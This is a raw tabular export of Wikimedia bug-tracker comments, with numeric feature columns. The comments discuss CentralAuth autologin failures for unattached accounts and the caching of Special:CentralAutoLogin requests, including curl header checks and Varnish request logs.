https://gerrit.wikimedia.org/r/84998",,,1379616502,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 84998 merged by jenkins-bot:
Don't fail autologin for unattached accounts

GERRIT_URL"
245115,Autocreate not running on Special:CentralAutoLogin,"(In reply to comment #0)
> We should be autocreating the accounts, like used to happen with the old
> AutoLogin.

Actually the old code didn't autocreate the accounts either, it just set the cookies regardless of whether a local account existed or was attached. And that works fine, because it's exactly the same situation as if you log in to enwiki but some unattached account has your name on dewiki.

And if we did autocreate the account we'd still have the bug where if an unattached user existed on say en.wiktionary then the SUL user wouldn't be auto-logged-in to any other wiktionaries either.

So what we really need to do is not care about the local account for the icons. But we do still need to care about the scripts, or we'll re-cause bug 51603.",,,1379610357,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,True,,,3,True,1.0,0.0,0.0,0.5,2.0,4.0,0.0,0.5,0.0,1.5,2.0,2.5,0.0,0.0,0.0,3.0,0.0,9.5,12.5,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,3.0,0.0,0.0,0.5,0.0,0.0,7.0,2.0,5.0,3.5,3.5,9.0,0.0,0.0,0.0,0.5,8.5,0.0,1.0,0.0,5.0,12.5,1.5,0.0,0.0,0.0,5.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,3.7977477477477475,0.7513513513513514,"(In reply to comment #0)
QUOTE
QUOTE

Actually the old code didn't autocreate the accounts either, it just set the cookies regardless of whether a local account existed or was attached. And that works fine, because it's exactly the same situation as if you log in to enwiki but some unattached account has your name on dewiki.

And if we did autocreate the account we'd still have the bug where if an unattached user existed on say en.wiktionary then the SUL user wouldn't be auto-logged-in to any other wiktionaries either.

So what we really need to do is not care about the local account for the icons. But we do still need to care about the scripts, or we'll re-cause bug 51603."
245112,Autocreate not running on Special:CentralAutoLogin,"Change 84998 had a related patch set uploaded by Anomie:
Don't fail autologin for unattached accounts

https://gerrit.wikimedia.org/r/84998",,,1379610316,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 84998 had a related patch set uploaded by Anomie:
Don't fail autologin for unattached accounts

GERRIT_URL"
245107,Autocreate not running on Special:CentralAutoLogin,"(In reply to comment #0)
> his account wasn't attached
> on
> commons

Clarification to pre-SUL dinosaurs like me: it wasn't attached because it didn't exist at all locally. No local unattached accounts here, luckily.
[[Special:CentralAuth/DGarry (WMF)]]",,,1379609188,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c2,3,True,,,3,True,2.0,0.0,0.0,2.0,3.0,7.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,3.4655172413793105,0.7586206896551724,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Clarification to pre-SUL dinosaurs like me: it wasn't attached because it didn't exist at all locally. No local unattached accounts here, luckily.
[[Special:CentralAuth/DGarry (WMF)]]"
56195,CentralAuth not caching Special:CentralAutoLogin/start,"Ops pointed out that almost 60% of the apache traffic is calls to Special:CentralAutoLogin. About half of that traffic is to /start, so it looks like Special:CentralAutoLogin/start is still not cached, even though we don't disable client caching in the output page. MediaWiki is sending Cache-Control private.

csteipp@linux-hv06:~> curl -Ik 'https://en.wikipedia.org/wiki/index.php?title=Special:CentralAutoLogin/start&type=script&returnto=One&returntoquery=' | grep Cache-Control
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate

It seems like that is because OutputPage checks to see if $this->mSquidMaxage != 0, otherwise it sends out the private header. On my dev system, I added $this->getOutput()->setSquidMaxage( 3600 ), and I then get

csteipp@linux-hv06:~> curl -Ik 'https://127.0.0.1/wiki_port83/de/index.php?title=Special:CentralAutoLogin/start&type=script&returnto=One&returntoquery='
HTTP/1.1 302 Found
Date: Mon, 16 Sep 2013 23:32:21 GMT
Server: Apache/2.2.22 (Linux/SUSE)
X-Powered-By: PHP/5.3.17
X-Content-Type-Options: nosniff
P3P: CP=""This is not a P3P policy! See http://127.0.0.1/wiki_port83/de/index.php?title=Special:CentralAutoLogin/P3P for more info.""
Vary: Accept-Encoding,Cookie
Cache-Control: s-maxage=3600, must-revalidate, max-age=0
Location: https://127.0.0.1/wiki_port83/pool/index.php?title=Special:CentralAutoLogin/checkLoggedIn&wikiid=dewiki83&proto=https&type=script&returnto=One&returntoquery=
Content-Type: text/html; charset=utf-8


Is that enough to have varnish cache these, but logged in users will always bypass the cache?

--------------------------
**Version**: master
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52206",Medium,50.0,1379374620,1430152692.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-twf7ar32smkopiuo4xx6,task_description,resolved,True,c2,3,True,True,False,2,True,0.0,0.0,0.0,0.3333333333333333,1.0,2.6666666666666665,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,1.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,3.6666666666666665,6.666666666666667,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,5.333333333333333,2.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,13.666666666666666,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,2.3333333333333335,20.0,1.3333333333333333,0.6666666666666666,3.0,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,0.3333333333333333,3.6666666666666665,0.0,2.3333333333333335,6.666666666666667,15.666666666666666,0.3333333333333333,1.0,0.0,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,3.6496598639455784,0.6883722561189424,"Ops pointed out that almost 60% of the apache traffic is calls to Special:CentralAutoLogin. About half of that traffic is to /start, so it looks like Special:CentralAutoLogin/start is still not cached, even though we don't disable client caching in the output page. MediaWiki is sending Cache-Control private.

csteipp@linux-hv06:~> curl -Ik 'URL | grep Cache-Control
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate

It seems like that is because OutputPage checks to see if $this->mSquidMaxage != 0, otherwise it sends out the private header. On my dev system, I added $this->getOutput()->setSquidMaxage( 3600 ), and I then get

csteipp@linux-hv06:~> curl -Ik 'URL
HTTP/1.1 302 Found
Date: Mon, 16 Sep 2013 23:32:21 GMT
Server: Apache/2.2.22 (Linux/SUSE)
X-Powered-By: PHP/5.3.17
X-Content-Type-Options: nosniff
P3P: CP=""This is not a P3P policy! See URL for more info.""
Vary: Accept-Encoding,Cookie
Cache-Control: s-maxage=3600, must-revalidate, max-age=0
Location: URL
Content-Type: text/html; charset=utf-8


Is that enough to have varnish cache these, but logged in users will always bypass the cache?

--------------------------
**Version**: master
**Severity**: major
**See Also**:
URL"
449675,CentralAuth not caching Special:CentralAutoLogin/start,"I don't think there are any remaining issue that are high enough priority for anyone to work on. If anyone in ops thinks different, let me know and we can plan it out.",,,1430152692,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,86,True,3.0,5.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,8.0,0.0,3.0,16.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,8.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.6486486486486487,0.918918918918919,"I don't think there are any remaining issue that are high enough priority for anyone to work on. If anyone in ops thinks different, let me know and we can plan it out."
449308,CentralAuth not caching Special:CentralAutoLogin/start,Can this be closed or is this still a problem.,,,1430070996,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,86,True,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.9090909090909091,Can this be closed or is this still a problem.
239981,CentralAuth not caching Special:CentralAutoLogin/start,"I'll let Faidon weigh in on how much we need to setup the varnish cache for that page. But given the current load on the backend vs the potential impact (positive, and negative if we mess any part of it up), I'm not sure how high of a priority we want that. Bumping this to normal for now.",,,1390410140,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,21,True,3.0,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,4.0,3.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,18.0,1.0,0.0,0.0,0.0,9.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.462686567164179,0.7761194029850746,"I'll let Faidon weigh in on how much we need to setup the varnish cache for that page. But given the current load on the backend vs the potential impact (positive, and negative if we mess any part of it up), I'm not sure how high of a priority we want that. Bumping this to normal for now."
239975,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #35 by csteipp)
> The only remaining thing would be to (very carefully) return a cached
> response from Varnish for loginwiki's /checkLoggedIn
[...]
> But I think Varnish still ignores all caching for
> Special:CentralAutoLogin after bug 53032?

All patches are in - resetting status.

Chris: Is this still highest priority or is this ""only"" high now?",,,1390406345,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,21,True,2.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,8.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,3.125,0.7916666666666666,"(In reply to comment #35 by csteipp)
QUOTE
QUOTE
[...]
QUOTE
QUOTE

All patches are in - resetting status.

Chris: Is this still highest priority or is this ""only"" high now?"
239972,CentralAuth not caching Special:CentralAutoLogin/start,"The only remaining thing would be to (very carefully) return a cached response from Varnish for loginwiki's /checkLoggedIn, if the user doesn't have any loggin cookies, since we return the exact same content for all logged-out users (but unique content for logged in users).

MediaWiki should be sending the correct headers-- CC:public, with a max-age of 1200 when the request came from a logged out user, or CC:private when the user is logged in. But I think Varnish still ignores all caching for Special:CentralAutoLogin after bug 53032?",,,1388427688,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,17,True,2.0,0.0,0.5,1.0,0.5,4.5,0.5,0.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,1.5,0.0,4.0,11.0,0.0,0.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.5,8.5,3.0,2.5,8.5,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,1.5,11.0,6.0,1.0,0.0,0.0,1.5,0.0,2.0,2.5,0.0,2.5,0.0,0.0,0.0,4.089448051948052,0.8198051948051948,"The only remaining thing would be to (very carefully) return a cached response from Varnish for loginwiki's /checkLoggedIn, if the user doesn't have any loggin cookies, since we return the exact same content for all logged-out users (but unique content for logged in users).

MediaWiki should be sending the correct headers-- CC:public, with a max-age of 1200 when the request came from a logged out user, or CC:private when the user is logged in. But I think Varnish still ignores all caching for Special:CentralAutoLogin after bug 53032?"
239970,CentralAuth not caching Special:CentralAutoLogin/start,"These were all deployed and the effect is nicely visualized here:
https://ganglia.wikimedia.org/latest/stacked.php?c=Application+servers+eqiad&host_regex=&m=ap_rps&r=year&st=1388322880
(application server requests per second) 

I'm happy with seeing this bug report closed. Chris, you mentioned some other optimizations you had in mind. Are you still planning these? Are we going to track them im this bug?",,,1388323148,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,17,True,3.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,6.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,10.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,6.0,3.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.9516129032258065,0.8709677419354839,"These were all deployed and the effect is nicely visualized here:
URL
(application server requests per second) 

I'm happy with seeing this bug report closed. Chris, you mentioned some other optimizations you had in mind. Are you still planning these? Are we going to track them im this bug?"
239967,CentralAuth not caching Special:CentralAutoLogin/start,"Change 100508 merged by jenkins-bot:
Don't redirects anons to /createSession

https://gerrit.wikimedia.org/r/100508",,,1386703633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.705882352941177,1.0,"Change 100508 merged by jenkins-bot:
Don't redirects anons to /createSession

GERRIT_URL"
239962,CentralAuth not caching Special:CentralAutoLogin/start,"Thanks Faidon, that is exactly what I was expecting. Just wanted to confirm.",,,1386703215,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.9375,"Thanks Faidon, that is exactly what I was expecting. Just wanted to confirm."
239957,CentralAuth not caching Special:CentralAutoLogin/start,"On a sample of 100k requests,  ""/createSession"" matched 3650 times, while ""/checkLoggedIn"" 3679 times (this is literally greps, not filtered per domain or query params). I tried 3 different such samples with similar results.",,,1386702413,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,11.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.1521739130434785,0.8478260869565217,"On a sample of 100k requests,  ""/createSession"" matched 3650 times, while ""/checkLoggedIn"" 3679 times (this is literally greps, not filtered per domain or query params). I tried 3 different such samples with similar results."
239953,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #29)
> > It's very odd that /createSession is more popular than /checkLoggedIn, since
> > /checkLoggedIn redirecting to /createSession is the only way /createSession
> > is called.
> 
> Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to
> redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki,
> /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the
> different domains, but it looks like the stats above aren't being split that
> way so all the /createSession?gu_id=0 are already added together. Or is
> /createSession still more popular after doing that?

Good point, I think those were only counting full urls. Faidon, could we get a list of urls without query parameters, to make sure /checkLoggedIn is being called roughly the same amount as /createSession?

Brad, if you get time to review and merge gerrit 100508, I'm happy to deploy it today, so that we reduce the load as much as possible before we make any changes to how we pass the parameters.",,,1386695102,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,2.0,0.0,0.0,2.0,0.0,4.5,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.5,0.0,4.5,0.0,4.0,10.5,0.0,3.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,6.0,0.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.0,2.5,9.0,3.5,1.0,4.5,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,6.5,10.5,6.5,1.0,0.0,0.0,6.5,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,3.6607142857142856,0.7142857142857142,"(In reply to comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Good point, I think those were only counting full urls. Faidon, could we get a list of urls without query parameters, to make sure /checkLoggedIn is being called roughly the same amount as /createSession?

Brad, if you get time to review and merge gerrit 100508, I'm happy to deploy it today, so that we reduce the load as much as possible before we make any changes to how we pass the parameters."
239948,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #27)
> 
> <paravoid> 
> /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
> is
> first
> \x03<\x08paravoid\x08>\x08\x0f 
> /wiki/Special:CentralAutoLogin/
> checkLoggedIn?type=script&wikiid=enwiki&proto=http
> is second,
> /wiki/Special:CentralAutoLogin/
> checkLoggedIn?type=script&wikiid=eswiki&proto=http
> is third
> <paravoid> on backend requests
> 
> It's very odd that /createSession is more popular than /checkLoggedIn, since
> /checkLoggedIn redirecting to /createSession is the only way /createSession
> is called.

Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki, /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the different domains, but it looks like the stats above aren't being split that way so all the /createSession?gu_id=0 are already added together. Or is /createSession still more popular after doing that?


> <paravoid> I also see on no5
> /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/
> createSession&gu_id=0&type=script&proto=http
> so I guess https://gerrit.wikimedia.org/r/#/c/98461/ didn't work

I'm not so sure, it doesn't seem like a localisation update was run after the patch was backported to wmf5. The nightly update just ran now, and now it seems to no longer be redirecting.",,,1386641835,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,True,,,14,True,1.0,0.0,0.0,2.5,2.5,2.5,0.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.5,13.0,7.5,0.0,2.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.5,0.0,5.5,0.0,2.5,2.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,7.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,4.0,4.5,13.5,0.0,2.5,6.5,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,3.5,7.5,12.5,0.5,0.0,0.0,3.5,0.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,3.941176470588235,0.6058823529411764,"(In reply to comment #27)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not really. /checkLoggedIn has the wikiid parameter to tell it which wiki to redirect back to, so you have to add together /checkLoggedIn?wikiid=enwiki, /checkLoggedIn?wikiid=eswiki, and so on. /createSession will be on all the different domains, but it looks like the stats above aren't being split that way so all the /createSession?gu_id=0 are already added together. Or is /createSession still more popular after doing that?


QUOTE
QUOTE
QUOTE
QUOTE

I'm not so sure, it doesn't seem like a localisation update was run after the patch was backported to wmf5. The nightly update just ran now, and now it seems to no longer be redirecting."
239942,CentralAuth not caching Special:CentralAutoLogin/start,"Change 100508 had a related patch set uploaded by CSteipp:
Don't redirects anons to /createSession

https://gerrit.wikimedia.org/r/100508",,,1386635569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,"Change 100508 had a related patch set uploaded by CSteipp:
Don't redirects anons to /createSession

GERRIT_URL"
239932,CentralAuth not caching Special:CentralAutoLogin/start,"I updated 1.23wmf5 (including enwiki) to include the patch that removes calls to /start for anons. After that, Faidon was looking at the logs and observed:

<paravoid>  /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http is first
\x03<\x08paravoid\x08>\x08\x0f  /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=enwiki&proto=http is second, /wiki/Special:CentralAutoLogin/checkLoggedIn?type=script&wikiid=eswiki&proto=http is third
<paravoid> on backend requests


<paravoid>   6392.37 RxURL          /w/index.php?title=MediaWiki:Wikiminiatlas.js&action=raw&ctype=text/javascript&smaxage=21600&maxage=86400
<paravoid>   6133.61 RxURL          /wiki/Special:CentralAutoLogin/createSession?gu_id=0&type=script&proto=http
<paravoid>   4772.53 RxURL          /w/api.php
<paravoid> on frontends


<paravoid> I also see on no5 /w/index.php?title=Spezial:Zentrale_automatische_Anmeldung/createSession&gu_id=0&type=script&proto=http so I guess https://gerrit.wikimedia.org/r/#/c/98461/ didn't work


